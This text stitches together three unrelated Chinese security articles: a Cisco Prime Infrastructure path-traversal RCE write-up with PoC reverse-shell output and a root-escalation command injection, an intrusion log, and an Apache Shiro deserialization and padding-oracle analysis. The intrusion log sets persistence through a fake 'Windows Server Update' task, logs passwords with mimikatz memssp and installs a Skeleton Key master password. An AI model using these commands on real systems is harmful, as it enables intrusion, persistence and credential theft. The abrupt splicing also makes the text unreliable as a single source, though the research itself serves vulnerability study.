AesLogImpl.getInstance().info(128, new Object[] { "Received archive=" + fileName, " size=" + fileSize + " from " + archiveOrigin + " containing " + fileCount + " files to be extracted to: " + destDir });
ServletFileUpload upload = new ServletFileUpload();
upload.setSizeMax(-1L);
PropertyManager pmanager = PropertyManager.getInstance(archiveOrigin); // 7
String outDir = pmanager.getOutputDirectory(); // 8
File fOutdir = new File(outDir);
if (!fOutdir.exists()) {
AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Output directory for archives " + outDir + " does not exist. Continuing..." });
}
String debugset = pmanager.getProperty("DEBUG");
if ((debugset != null) && (debugset.equals("true")))
{
this.debugTar = true;
AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Debug setting is specified" });
}
try
{
FileItemIterator iter = upload.getItemIterator(request);
while (iter.hasNext())
{
FileItemStream item = iter.next();
String name = item.getFieldName();
InputStream stream = item.openStream(); // 9
if (item.isFormField())
{
AesLogImpl.getInstance().error(128, new Object[] { "Form field input stream with name " + name + " detected. Abort processing" });
response.sendError(500, "Servlet does not handle FormField uploads."); return;
}
// 10
result = processFileUploadStream(item, stream, destDir, archiveOrigin, archiveIsCompressed, fileName, fileSize, outDir);
stream.close();
}
}
在上述注释[1]、[2]、[3]、[4]、[5]以及[6]处，代码从攻击者可控的请求中提取了6个输入参数，这些参数分别为`destDir`、`archiveOrigin`、`fileCount`、`fileName`、`fileSize`（`long`型）以及`compressed`（`boolean`型）。
在[7]处，我们需要提供一个正确的`Primary-IP`，才能在[8]处得到有效的`outDir`。然而在[9]处，代码实际上会利用上传文件获得输入流，在[10]处代码调用`processFileUploadStream`，将前7参数个作为输入参数。
private boolean processFileUploadStream(FileItemStream item, InputStream istream, String destDir, String archiveOrigin, boolean archiveIsCompressed, String archiveName, long sizeInBytes, String outputDir)
throws IOException
{
boolean result = false;
try
{
FileExtractor extractor = new FileExtractor(); // 11
AesLogImpl.getInstance().info(128, new Object[] { "processFileUploadStream: Start extracting archive = " + archiveName + " size= " + sizeInBytes });
extractor.setDebug(this.debugTar);
result = extractor.extractArchive(istream, destDir, archiveOrigin, archiveIsCompressed); // 12
然后在[11]处代码创建一个新的`FileExtractor`，在[12]处使用攻击者可控的参数`istream`、`destDir`、`archiveOrigin`以及`archiveIsCompressed`调用`extractArchive`。
public class FileExtractor
{
...
public boolean extractArchive(InputStream ifstream, String destDirToken, String sourceIPAddr, boolean compressed)
{
if (ifstream == null) {
throw new IllegalArgumentException("Tar input stream not specified");
}
String destDir = getDestinationDirectory(sourceIPAddr, destDirToken); // 13
if ((destDirToken == null) || (destDir == null)) {
throw new IllegalArgumentException("Destination directory token " + destDirToken + " or destination dir=" + destDir + " for extraction of tar file not found");
}
FileArchiver archiver = new FileArchiver();
boolean result = archiver.extractArchive(compressed, null, ifstream, destDir); // 14
return result;
}
在[13]处代码使用我们可控的`sourceIPAddr`以及`destDirToken`调用`getDestinationDirectory`。`destDirToken`需要是一个有效的目录token，因此我使用的是`tftpRoot`字符串。从`HighAvailabilityServerInstanceConfig`类摘抄的部分代码如下所示：
if (name.equalsIgnoreCase("tftpRoot")) {
return getTftpRoot();
}
此时我们执行到[14]处，这里代码会使用我们的`compressed`、`ifstream`以及`destDir`参数来调用`extractArchive`。
public class FileArchiver
{
...
public boolean extractArchive(boolean compress, String archveName, InputStream istream, String userDir)
{
this.archiveName = archveName;
this.compressed = compress;
File destDir = new File(userDir);
if (istream != null) {
AesLogImpl.getInstance().trace1(128, "Extract archive from stream to directory " + userDir);
} else {
AesLogImpl.getInstance().trace1(128, "Extract archive " + this.archiveName + " to directory " + userDir);
}
if ((!destDir.exists()) &&
(!destDir.mkdirs()))
{
destDir = null;
AesLogImpl.getInstance().error1(128, "Error while creating destination dir=" + userDir + " Giving up extraction of archive " + this.archiveName);
return false;
}
result = false;
if (destDir != null) {
try
{
setupReadArchive(istream); // 15
this.archive.extractContents(destDir); // 17
return true;
}
以上代码首先会调用[15]处的`setupReadArchive`。这一点非常重要，因为我们会在如下代码[16]处将`archive`变量设置为`TarArchive`类的一个实例。
private boolean setupReadArchive(InputStream istream)
throws IOException
{
if ((this.archiveName != null) && (istream == null)) {
try
{
this.inStream = new FileInputStream(this.archiveName);
}
catch (IOException ex)
{
this.inStream = null;
return false;
}
} else {
this.inStream = istream;
}
if (this.inStream != null) {
if (this.compressed)
{
try
{
this.inStream = new GZIPInputStream(this.inStream);
}
catch (IOException ex)
{
this.inStream = null;
}
if (this.inStream != null) {
this.archive = new TarArchive(this.inStream, 10240); // 16
}
}
else
{
this.archive = new TarArchive(this.inStream, 10240);
}
}
if (this.archive != null) {
this.archive.setDebug(this.debug);
}
return this.archive != null;
}
然后在[17]，代码会在`TarArchive`类上调用`extractContents`。
extractContents( File destDir )
throws IOException, InvalidHeaderException
{
for ( ; ; )
{
TarEntry entry = this.tarIn.getNextEntry();
if ( entry == null )
{
if ( this.debug )
{
System.err.println( "READ EOF RECORD" );
}
break;
}
this.extractEntry( destDir, entry ); // 18
}
}
在[18]处代码提取了`entry`，我们终于看到代码会在没有检查是否存在目录遍历的情况下盲目提取tar压缩文件中的内容。
try {
boolean asciiTrans = false;
FileOutputStream out =
new FileOutputStream( destFile ); // 19
...
for ( ; ; )
{
int numRead = this.tarIn.read( rdbuf );
if ( numRead == -1 )
break;
if ( asciiTrans )
{
for ( int off = 0, b = 0 ; b < numRead ; ++b )
{
if ( rdbuf[ b ] == 10 )
{
String s = new String
( rdbuf, off, (b - off) );
outw.println( s );
off = b + 1;
}
}
}
else
{
out.write( rdbuf, 0, numRead ); // 20
}
}
在[19]处，代码创建文件并在[20]处将文件内容写入磁盘。值得注意的是，存在漏洞的类实际上是第三方代码，由ICE Engineering的Timothy
Gerard
Endres开发。更加有趣的是，还有其他项目（比如[radare](https://github.com/radare/radare2-installer/blob/master/src/com/ice/tar/TarArchive.java)）也用到了存在漏洞的这些代码。
利用该漏洞，未授权攻击者可以以`prime`用户身份实现远程代码执行。
## 0x04 题外话
由于Cisco并没有完全修补[CVE-2018-15379](https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56)漏洞，因此我可以将权限提升至`root`：
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
其实[TarArchive.java](https://github.com/radare/radare2-installer/blob/master/src/com/ice/tar/TarArchive.java#L522)中还有另一个远程代码执行漏洞，大家能否发现这个漏洞？
## 0x05 PoC
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192.168.100.123
(+) pop thy shell!
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
大家可以访问[此处](https://srcincite.io/pocs/src-2019-0034.py.txt)下载完整的利用代码。
## 0x06 总结
在代码审计中，这个漏洞已经多次成功逃过了许多安全研究人员的法眼，我认为之所以会出现这种情况，是因为该漏洞只有在配置HA之后，才会由某个组件触发。有些情况下，安全研究人员需要花不少精力才能正确配置好实验环境。
## 0x07 参考资料
* <https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-prime-infrastructure.txt> | 社区文章 |
> 在内网渗透中拿到了域控就结束了吗？但实际上内网渗透中拿到域控才刚开始！如果是做 APT
> 需要对某个目标、某个部门、某个部门中的某个人进行渗透，这个时候就需要长时间去了解这个内网环境，对域内进行定向打击，需要花很长时间去熟悉一个内网框架的！所以说内网渗透的本质其实就是信息搜集。
## 前言
首先是拿到了一个 `webshell`，目标当前机器无 `AV` ，然后上 `powershell` 弹到了 `CobaltStrike`：
通过信息搜集发现是有域环境的：
## 令牌窃取拿到域控
在域渗透中有很多方式能够快速拿到域控，在本篇就写如何令牌窃取快速拿域控权限，以后有机会在写其他手段！
查询域管理员有两个用户：`x10` 、`Administrator`:
net group "domain admins" /domain
查询域控制器发现有多台：`xxxxx-PDM$` 、`xxxxx-SERVER$` 、`xxx-DC$`、 `xx-SERVER$`：
net group "domain controllers" /domain
`ping` 域控的主机名分别得到了他们的 `IP`：
xxxxx-PDM 192.168.2.105
xxxxx-SERVER 192.168.2.106
xxx-DC 192.168.2.107
xx-SERVER 192.168.2.104
随后通过 `ms16-075` 提权到 `SYSTEM`：
然后做了一个定时任务保持权限不丢失 ：
shell schtasks /create /RL HIGHEST /F /tn "Windows Server Update" /tr "c:\windows\Temp\Cha\64.exe" /sc DAILY /mo 1 /ST 09:00 /RU SYSTEM
一般拿到一台机器的权限后立即做好权限维持，还有就是马上把当前机器里的各种文件、浏览器数据翻个底朝天（除了那些可能保存在浏览器中的账号密码，还有那些像浏览器收藏夹及历史记录里的一些内网铭感资产的链接也会对我们有所帮助）
通过把当前机器文件翻遍后找到了一些账号密码：
Mssql：
User ID=sa;Password=xxxxxxx
门禁：
user：admin，pass：xxxxxxxx
还可以通过 `GPP`、查看核心机器共享文件里面有什么，这里主要是域控：
可以看到共享组策略目录中其实包含里很多东西，一些域管理员可能会利用它对域内用户登陆时进行一些初始化操作，所以我们在域渗透的过程中首先都会去看看这个地方，看看有没有什么敏感信息文件：
但是在本机器上没有翻到有价值的共享文件！之后通过查看当前机器有域管进程：
随即注入进程让域管上线：
域管和域控建立 `IPC` ：
net use \\192.168.2.105
net use \\192.168.2.106
net use \\192.168.2.107
net use \\192.168.2.104
直接拿到四个域控：
shell dir \\192.168.2.105\c$
shell dir \\192.168.2.106\c$
shell dir \\192.168.2.107\c$
shell dir \\192.168.2.104\c$
通过扫描内网存活：
然后通过中转让域控上线把：
成功拿到域控：
这域基本上已经死了。
## 域控权限维持
为了能够长时间控制到当前域控，我留下了两个后门：`SSP`、`Skeleton Key` 。
### SSP 记录登陆到当前机器的所有账号密码
`SSP` 即 `Security Support Provider`，通俗理解就是一个用于身份验证的 `dll` , 系统在启动时 `SSP` 会被加载到
`lsass.exe` 进程中 , 由于 `lsa` 可扩展 , 导致在系统启动时我们完全可以加载一个自定义的 `dll` , 比如 ,
一个用于记录所有登录到当前系统的明文账号密码的 `dll`。
通过拿到域控，我留了一个 `SSP` 后门：目标无需重启，立即记录密码信息，如果当前机器重启则失效！直接注入
`ssp`，因为当前机器无杀软，实际情况下需要注意杀软情况：
beacon> mimikatz privilege::debug
beacon> mimikatz misc::memssp
beacon> shell type C:\Windows\System32\mimilsa.log
等待了许久终于有人登陆当前机器成功获取到了密码：
### Skeleton Key - 万能密码后门
为了防止域控权限丢失，我还留下了一个 `Skeleton Key` 后门，这个也不算后门，只能算一个`万能密码`，原理就是通过在 `lsass`
进程中创建了一个万能密码，通过这个万能密码我们可以随时访问到当前域控！
通过 `mimikatz` 在域控制器上安装 `Skeleton Key`：
beacon> mimikatz privilege::debug
beacon> mimikatz misc::skeleton
安装成功后我们可以通过其他域内主机的普通域用户，使用万能账号域管用户：`a-xxxxx\administrator` 密码 `mimikatz` 利用
`IPC` 连接域控：
beacon> shell net use \\xxxxx-PDM\c$ /user:"a-xxxxx\administrator" "mimikatz"
beacon> shell dir \\xxxxx-PDM\c$
## 域内信息搜集整理
为了能够梳理当前域内的信息，我使用的是 `BloodHound` 分析当前域环境的各个关系！
先下载：[https://neo4j.com/artifact.php?name=neo4j-community-3.4.4-windows.zip](Neo4j)
在 `cmd` 下输入命令 `neo4j.bat console` 启动 `Neo4j` 服务：
这个时候访问本地 `web`：`http://127.0.0.1:7474/browser/` ，默认账号密码为：`neo4j`（然后会让你修改一次密码）
之后安装 `Bloodhound`
：[https://github.com/BloodHoundAD/BloodHound/releases/download/1.5.2/BloodHound-win32-x64.zip](Bloodhound)
下载完成后解压，进入目录找到 `BloodHound` 并运行：
现在已经完成了安装！之后需要通过 `SharpHound.exe` 提权域内所有信息：
shell C:\Windows\Temp\BloodHound.exe -c all
在这期间它会进行大量的 `ldap` 查询域内数据，等运行完后会在当前目录下生成一个 `当前时间_BloodHound.zip`
的文件！但是发现出问题了，一直不能运行：
通过分析才知道 `2012` 版本可以用这个，因为 `.net` 版本有问题.
没事，我们换种方法，通过 `csvde` 也能帮我们梳理域内信息，具体用法：
csvde -setspn [域的名字] -f [文件名].csv
csvde -setspn A-xxxxx -f c:\windows\temp\domain.csv
LDAP的存储规则：一般存储的是域的信息
区分名（DN，Distinguished Name）一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
CN=Common Nmae 为用户名或服务器名，最长可以到80个字符，可以为中文。
OU=Organization Unit为组织单元，最多可以有四级，没级最长32个字符，可以为中文。
O=Organization为组织名，可以3-64个字符长度。
C=Country为国家名，可选，为2个字符长度。
还可以通过 `spn` 查询域内详细信息：
查看当前域内所有的SPN： setspn -Q */*
查看指定域 test.com 注册的SPN：setspn -T [域的名字] -Q */*
setspn -T A-xxxxx -Q */* > c:\windows\temp\domain.txt
之所以要获取目标域的完整 `spn`
记录，核心就是为了摸清目标域内所有敏感机器资产的具体分布情况，这样方便我们后续单独对这些机器进行逐个“重点突破”，我们还可以拿着这些获取到的机器名，来快速完整探测当前域内的所有存活主机！
第一种方法当然也可以通过 `nbtscan` 来快速发现内网机器存活，通过 `nbtscan`
跑出来的结果发现机器名和域名能够帮我们快速识别哪些机器可能是在域内，哪些机器是我们后期要重点关照的：
第二种方式可以通过 `Metasploit` \+ `cs` 的 `socks` 来帮我探测内网主机存活是否存在域还是工作组以及是什么系统，关于
`Metasploit` 的使用我之前也发过相关文章到公众号，这个就不再多阐述：
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set rhosts 192.168.2.0/24
msf6 > set threads 16（实际上根据情况，可以把线程调小点，因为我现在是凌晨，所以调到了最大）
msf6 > run
msf6 > services
从上图可以看到，大部分系统都是 `XP` 这说明可以利用永恒之蓝，当然这都是后话了！
第三种方式可以通过 `dnsdump` 快速根据域内机器名获取到对应的 `IP` 是多少！
`dnsdump` 下载地址是：[https://github.com/dirkjanm/adidnsdump](dnsdump)
大家可以根据实际情况可以把 `py` 文件打包成 `exe` 或者可以直接通过 `proxychains` \+ `socks`
也能运行！我这里就直接在当前机器运行 `exe`：
dnsdump.exe -u 域名\域用户 -p 域密码 域控制器名 -r
C:\Windows\temp\dnsdump.exe -u A-xxxxx\administrator -p password xxxxx-PDM -r
然后就会在当前路径下生成一个文件：`records.csv`:
这个时候对应的`机器名`的对应 `IP` 就一目了然了！
当然还要去看看当前机器有哪些网段，`ipconfig /all` 是看不出到底还有哪些网段可以访问的，这个时候我们可以看看`路由`，分析`子网掩码`：
route print
还可以通过查看网络连接看看有没有和其他 `IP` 进行链接：
netstat -ano
这台机器很显然就只有 `192` 这个段！
## 域内定向打击
到这里内网渗透其实本质上已经结束了，但是实际上内网渗透拿到域控才刚开始，如果是做 `APT`
需要对某个区、某个部门、某个人的电脑进行渗透，这个时候就需要长时间去了解这个内网环境，找到你要攻击的人的主机/服务器对应在内网的那个`IP`，这是需要花很长时间去搜集信息的，所以说内网渗透的核心其实就是信息搜集！
实际上内网渗透这才刚开始，接下来对域内某台主机进行定向攻击渗透，会用到各种手段！
未完待续。。。
## 结尾
**文章若有好的建议和错误可以在评论区评论！ | 社区文章 |
**作者：Seaer@深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/j_gx9C_xL1LyrnuFFPFsfg>**
## 1 组件介绍
Apache
Shiro是一个功能强大且易于使用的Java安全框架，功能包括身份验证，授权，加密和会话管理。使用Shiro的API，可以轻松地快速地保护任何应用程序，范围包括小型的移动应用程序到大型的Web和企业应用程序。以下是Shiro的结构图。
Shiro提供了应用安全API(被Shiro框架开发团队成为安全四大基石的Authentication（认证）, Authorization（授权）,
Session Management（会话管理）, Cryptography（加密）)
* Authentication（认证）： 证明用户身份，通常称之为“登录”。
* Authorization（授权） ： 访问控制。
* Cryptography（加密） ： 保护或隐藏数据，防止数据被窃取。
* Session Management（会话管理） ： 管理每一个用户的会话状态。
在概念层，Shiro 架构包含三个主要的理念：Subject,SecurityManager和 Realm。
* Subject：当前用户，Subject 可以是一个人，但也可以是第三方服务、守护进程帐户、时钟守护任务或者其它–当前和软件交互的任何事件。
* SecurityManager：管理所有Subject，SecurityManager 是 Shiro 架构的核心，配合内部安全组件共同组成安全伞。
* Realms：用于进行权限信息的验证，我们自己实现。Realm 本质上是一个特定的安全 DAO：它封装与数据源连接的细节，得到Shiro 所需的相关的数据。在配置 Shiro 的时候，你必须指定至少一个Realm 来实现认证（authentication）和/或授权（authorization）。
（数据来源：[ZoomEye](https://www.zoomeye.org/))
上图是Shiro组件在国内的使用量统计图。通过网络空间搜索引擎的数据统计，绘制柱状图表。Shiro
在国内有着近5千个的站点分布，其中以浙江、北京、广东等为主要地区。
## 2 高危漏洞介绍
漏洞名称 | 漏洞ID | 影响版本 | CVSS
---|---|---|---
Apache Shiro 1.2.4反序列化远程代码执行漏洞 | CVE-2016-4437/SHIRO-550 | Apache Shiro <=
1.2.4 | 8.1
Apache Shiro Padding Oracle Attack 远程代码执行漏洞 | CVE-2019-12422/SHIRO-721 |
Apache Shiro < 1.4.2 | 7.5
Apache Shiro 身份验证绕过漏洞 | CVE-2020-1957/SHIRO-682 | Apache Shiro < 1.5.2 | 9.8
Apache Shiro 身份验证绕过漏洞 | CVE-2020-11989/SHIRO-782 | Apache Shiro < 1.5.3 | 9.8
Apache Shiro 身份验证绕过漏洞 | CVE-2020-13933 | Apache Shiro < 1.6.0 | 7.5
Apache Shiro 身份验证绕过漏洞（AJP协议绕过） | SHIRO-760 | 基于Tomcat版本 | 无
Apache Shiro < 1.2.3 身份验证绕过漏洞 | CVE-2014-0074/SHIRO-460 | Apache Shiro < 1.2.3
| 7.5
Shiro组件漏洞主要分为两种类型，一种是java反序列化造成的远程代码执行漏洞，另一种是身份验证绕过漏洞。在官方对rememberMe字段反序列化进行秘钥随机化，AES加密模式更换后，暂无新型反序列化漏洞的出现。但是在身份验证绕过的补丁修复上，多次出现绕过情况，多是由于补丁修复过程中考虑不周全。Shiro在今年上半年爆出了三个较为严重的身份验证绕过的漏洞，且影响版本较新，用户需要重点关注。
## 3 漏洞利用链
### 3.1 组件风险梳理
根据Shiro组件的漏洞，结合敏感配置的梳理，得到如下风险梳理的思维导图。
### 3.2 利用链总结
基于风险梳理思维导图，总结出2种可行的漏洞利用链。
#### 3.2.1 无权限 -> GetShell
Apache Shiro
1.2.4反序列化远程代码执行漏洞单独使用，即可完成GetShell。此漏洞利用前提是获取AES加密秘钥。一般情况，Shiro组件默认没有被更换，可以直接利用此漏洞。如果出现秘钥被更换，此漏洞需要结合任意文件读取或者任意文件下载，先获取到AES加密秘钥，再进行漏洞利用。
#### 3.2.2 普通权限 -> GetShell
Apache Shiro Padding Oracle Attack
远程代码执行漏洞单独使用，即可完成GetShell。此漏洞利用前提需要获得一个正确的用户Cookie值，利用此漏洞进行GetShell至少要获取一个普通用户权限。
## 4 高可利用漏洞分析
从高危漏洞列表中，针对部分近年高可利用漏洞进行漏洞深入分析。
Shiro组件漏洞分为两个种类：java反序列化漏洞、身份验证绕过漏洞。本章节重点进行两个类别的漏洞分析。
### 4.1 java反序列化漏洞
**技术背景**
**Java反序列化漏洞原理：** Java
提供了一种对象序列化的机制，该机制中，一个对象可以被表示为一个字节序列，该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。Java反序列化则是从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回。Java反序列化漏洞的成因是攻击者通过序列化函数将自己精心构造的恶意对象序列化，将序列化数据发送到目标服务器的反序列化接口，当服务器在没有对序列化数据进行有效的安全验证，直接对序列化数据进行反序列化处理，执行恶意对象中的代码，造成攻击。
**AES加密算法：** 使用Rijndael分组密码算法，属于对称加密。
AES加密算法涉及4种操作：字节替代（SubBytes）、行移位（ShiftRows）、列混淆（MixColumns）和轮密钥加（AddRoundKey）。
总体加密流程：
* 字节替代（SubBytes）
字节代替的主要功能是通过S盒完成一个字节到另外一个字节的映射。
解密使用S盒的逆进行还原。
* 行移位（ShiftRows）
行移位是一个4x4的矩阵内部字节之间的置换，用于提供算法的扩散性。
正向行移位：正向行移位用于加密，其原理图如下。其中：第一行保持不变，第二行循环左移8比特，第三行循环左移16比特，第四行循环左移24比特。
解密使用逆向行移位：第一行保持不变，第二行循环右移8比特，第三行循环右移16比特，第四行循环右移24比特。
* 列混淆（MixColumns）
将行移位得到的新的4x4矩阵，与另一个矩阵进行左乘运算，更改每一列的数值。
解密时，左乘与之前选取的中间矩阵的互逆矩阵，即可还原。
* 轮密钥加（AddRoundKey）
加密过程中，每轮的输入与轮子密钥异或一次。
解密过程，由于任何数和自身的异或结果为0，因此，解密时再异或上该轮的轮子密钥即可恢复。
**AES CBC模式**
* 加密
* 解密
#### 4.1.1 Apache Shiro 1.2.4反序列化远程代码执行漏洞
**1 漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：Apache Shiro 1.2.4 Deserialize Remote Code Execution Vulnerability
* 漏洞编号：CVE-2016-4437
* 漏洞类型：远程代码执行
* CVSS评分：【CVSS v2.0：6.8】【CVSS v3.0：8.1】
* 漏洞危害等级：高危
**1.2 漏洞概述**
Apache Shiro
1.2.5之前的版本在`org.apache.shiro.mgt.AbstractRememberMeManager`中存在AES默认秘钥`kPH+bIxk5D2deZiIxcaaaA==`，开启RememberMe功能的shiro组件将允许远程攻击者构造序列化数据，在目标服务器上执行任意命令。
**1.3 漏洞利用条件**
* 已知 Shiro AES 解密密钥。
* 开启RememberMe功能。
**1.4 漏洞影响**
影响版本：
Apache Shiro <= 1.2.4
**1.5 漏洞修复**
获取Apache Shiro最新版本，下载链接：<https://shiro.apache.org/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 复现过程**
基于Windows平台，使用`环境`目录下的`shirodemo-1.0-SNAPSHOT.jar`环境，执行`java -jar
shirodemo-1.0-SNAPSHOT.jar`启动环境。效果如图
运行`sniper`工具箱，填写表单信息，输入`ipconfig`命令，点击Attack，效果如图。
**有回显信息的exp插件**
**无回显信息的exp插件**
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 漏洞利用过程**
使用ysoserial生成存在恶意命令的反序列化payload。使用AES默认秘钥，生成的payload进行`AES/CBC/PKCS5Padding`模式加密，将加密后的结果传入到HTTP头部Cookie字段的rememberMe参数，通过HTTP协议发起请求。
注：由于Shiro重写了resolveClass方法，将原生方法中的forName方法替换为loadClass方法，由于loadClass无法加载数组类型的类，因此存在Transformer[]类的CommonCollections
gadget无法成功利用此漏洞，（例如ysoserial CommonCollections1、CommonCollections3）
**3.1.2 代码分析**
传入的payload首先被服务器接收，并传送给Shiro拦截器处理(org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter方法作为入口)
调用createSubject方法创建Subject
在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法调用getRememberedSerializedIdentity方法获取rememberMe认证的序列化数据。
在此方法中可以获取传入的HTTP请求，响应数据，并解析获取http请求中的cookie字段值(payload所在字段)(base64形式)。
并在后续的程序中进行base64解码，将解码后的byte流存储在decoded变量中，作为后续进行AES解密的密文。
返回的密文数据流将会在org.apache.shiro.crypto.JcaCipherService#decrypt方法中完成AES解密操作。
获得的AES解密后的明文将在org.apache.shiro.web.mgt.AbstractRememberMeManager#deserialize方法中反序列化，执行其中的恶意代码。
**3.1.3 漏洞触发过程**
**3.1.4补丁分析**
对比Shiro
1.2.4与1.2.5版本的改动，在org.apache.shiro.mgt.AbstractRememberMeManager类中声明秘钥的方式，从原来的硬编码更改为自动生成秘钥。
新版本中调用generateNewKey方法进行秘钥生成，通过传入秘钥长度，根据传入的长度参数，返回对应长度的随机秘钥。
由于秘钥的随机性，使攻击者无法轻易的通过使用秘钥加密恶意序列化数据的方式进行攻击，从而修复了此漏洞。
#### 4.1.2 Apache Shiro Padding Oracle Attack 远程代码执行漏洞
**1.漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：Apache Shiro Padding Oracle Attack Remote Code Execution Vulnerability
* 漏洞编号：CVE-2019-12422
* 漏洞类型：远程代码执行
* CVSS评分：【CVSS v2.0：5.0】【CVSS v3.1：7.5】
* 漏洞危害等级：高危
**1.2 漏洞概述**
Apache Shiro
1.4.2之前的版本默认使用AES/CBC/PKCS5Padding模式加密,开启RememberMe功能的Shiro组件将允许远程攻击者构造序列化数据，通过Padding
Oracle Attack进行爆破，即使在秘钥未知的条件下，也可以在目标服务器上执行任意命令。
**1.3 漏洞利用条件**
* 使用AES CBC模式。
* 开启RememberMe功能。
* 密文可控。
* 获取到正常Cookie。
**1.4 漏洞影响**
影响版本：
Apache Shiro < 1.4.2
**1.5 漏洞修复**
获取Apache Shiro最新版本，下载链接：https://shiro.apache.org/download.html
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 复现过程**
基于Windows平台，使用`环境`目录下的`apache-tomcat-8.5.2`环境，进入bin目录下运行`startup.bat`，linux环境运行`startup.sh`启动环境。效果如图
运行`sniper`工具箱，填写表单信息，点击Attack，效果如图。
**3.漏洞分析**
**3.1 详细分析**
3.1.1 漏洞利用过程
使用ysoserial生成存在恶意命令的反序列化payload。获取一个用户的Cookie字段值(可以获取普通用户的Cookie)。取出rememberMe字段值，通过逐位爆破，构造正常padding数据，最终将每一块构造的block拼接在一起，形成任意构造的明文gadget加密后的密文。
注：由于Shiro重写了resolveClass方法，将原生方法中的forName方法替换为loadClass方法，由于loadClass无法加载数组类型的类，因此存在Transformer[]类的CommonCollections
gadget无法成功利用此漏洞，（例如ysoserial CommonCollections1、CommonCollections3）
**3.1.2 代码分析**
CVE-2019-12422进行反序列化攻击的原理与CVE-2016-4437漏洞原理一致，而由于Shiro在1.2.4以上的版本已经将硬编码秘钥更换为随机生成的秘钥，因此无法获取到AES加密秘钥。CVE-2019-12422漏洞利用了AES
CBC模式加密的漏洞，绕过了使用AES秘钥加密明文gadget的前提条件。具体原理如下：
在进行AES解密时，会对生成的明文进行padding校验，在com.sun.crypto.provider.CipherCore#doFinal中获取padding长度
com.sun.crypto.provider.PKCS5Padding#unpad方法进行padding检测，如果检测失败，返回-1状态码
当校验失败时，com.sun.crypto.provider.CipherCore#doFinal方法抛出异常
最终程序走到org.apache.shiro.web.servlet#removeFrom方法中，构造响应信息，进行回显。在代码中可以看见padding失败后会回显rememberMe
deleteMe等特征字符串。可以作为padding oracle attack回显特征进行爆破。
攻击者可以凭借此特征，分组爆破。由于AES CBC模式解密时会将前一块的密文作为本轮解密的IV值，当密文可控时，可以逐位爆破前一块密文，根据padding
error的回显不同，获取padding字符为\x10*16的IV'值。
IV ^ middle = 16 * \x10
IV' ^ middle = 构造gadget密文块
IV' = 构造gadget密文块 ^ 16 * \x10 ^IV
根据公式，循环获取所有密文块。通过这种方式，获取任意明文对应的密文。
**3.1.3 漏洞触发过程**
**3.1.4补丁分析**
对比Shiro
1.4.1与1.4.2版本的改动，在org.apache.shiro.crypto.AesCipherService类中声明AES加密的模式，从原来的CBC模式更改为GCM模式。
由于AES加密模式更换，攻击者无法使用padding oracle attack进行攻击，从而修复了此漏洞。
### **4.2 身份验证绕过漏洞**
**技术背景**
**拦截器和过滤器的详细区别**
Filter | Interceptor | Summary
---|---|---
Filter 接口定义在 javax.servlet 包中 | 接口 HandlerInterceptor
定义在org.springframework.web.servlet 包中 |
Filter 定义在 web.xml 中 | |
Filter在只在 Servlet 前后起作用。Filters 通常将 请求和响应（request/response） 当做黑盒子，Filter
通常不考虑servlet 的实现。 | 拦截器能够深入到方法前后、异常抛出前后等，因此拦截器的使用具有更大的弹性。允许用户介入（hook
into）请求的生命周期，在请求过程中获取信息，Interceptor 通常和请求更加耦合。 | 在Spring构架的程序中，要优先使用拦截器。几乎所有
Filter 能够做的事情， interceptor 都能够轻松的实现[
](http://einverne.github.io/post/2017/08/spring-interceptor-vs-filter.html#fn:top)
Filter 是 Servlet 规范规定的。 | 而拦截器既可以用于Web程序，也可以用于Application、Swing程序中。 | 使用范围不同
Filter 是在 Servlet 规范中定义的，是 Servlet 容器支持的。 | 而拦截器是在 Spring容器内的，是Spring框架支持的。 |
规范不同
Filter 不能够使用 Spring 容器资源 |
拦截器是一个Spring的组件，归Spring管理，配置在Spring文件中，因此能使用Spring里的任何资源、对象，例如
Service对象、数据源、事务管理等，通过IoC注入到拦截器即可 | Spring 中使用 interceptor 更容易
Filter 是被 Server(like Tomcat) 调用 | Interceptor 是被 Spring 调用 | 因此
Filter总是优先于interceptor执行
**拦截器和过滤器的执行顺序**
**Shiro拦截器：**
NameableFilter: NameableFilter给Filter起个名字，如果没有设置默认就是`FilterName`
当我们组装拦截器链时会根据这个名字找到相应的拦截器实例
OncePerRequestFilter:
用于防止多次执行Filter,一次请求只会走一次Filter链。`enabled`属性:是否开启该拦截器，默认`enabled=true`表示开启
ShiroFilter: 整个Shiro的入口点，用于拦截需要安全控制的请求进行处理。
AdviceFilter: 提供AOP风格的支持，类似于SpringMVC中的`Interceptor`。
PathMatchingFilter:
提供基于Ant风格的请求路径匹配功能及拦截器参数解析的功能，如`roles[admin,user]`自动根据`,`分割解析到一个路径参数配置并绑定到相应的路径。
